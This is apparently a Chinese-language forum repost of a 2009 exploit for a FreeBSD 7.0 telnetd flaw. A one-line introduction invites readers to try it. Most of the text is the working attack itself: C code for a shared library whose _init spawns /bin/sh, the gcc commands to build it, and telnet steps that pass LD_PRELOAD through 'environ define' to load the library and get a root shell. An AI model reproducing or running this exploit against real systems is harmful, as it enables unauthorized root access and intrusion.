沒想到現在有人會研究，看到后驚嘆了一下。是telnetd部分的問題，在FreeBSD7.0正式版測試通過，7.1似乎也有同樣問題，但未經過測試。有興趣的朋友可以調試一下，代碼如下：

# FreeBSD telnetd local/remote privilege escalation/code execution
# remote root only when accessible ftp or similar available
# tested on FreeBSD 7.0-RELEASE
# by Kingcope/2009

#include
#include
#include
#include

void _init() {
FILE *f;
setenv("LD_PRELOAD", "", 1);
system("echo ALEX-ALEX;/bin/sh");
}
---snip-----

Then we compile this stuff.

---snip-----
#gcc -o program.o -c program.c -fPIC
#gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o
-nostartfiles
---snip-----

Then we copy the file to a known location (local root exploit)

---snip-----
#cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
---snip-----

...or we upload the library through any other available attack vector.
After that we telnet to the remote or local FreeBSD telnet daemon
with setting the LD_PRELOAD environment variable to the known location
as a telnet option before.

---snip-----
#telnet
/>auth disable SRA
/>environ define LD_PRELOAD /tmp/libno_ex.so.1.0
/>open target
---snip-----
ALEX-ALEX
#ROOTSHELL

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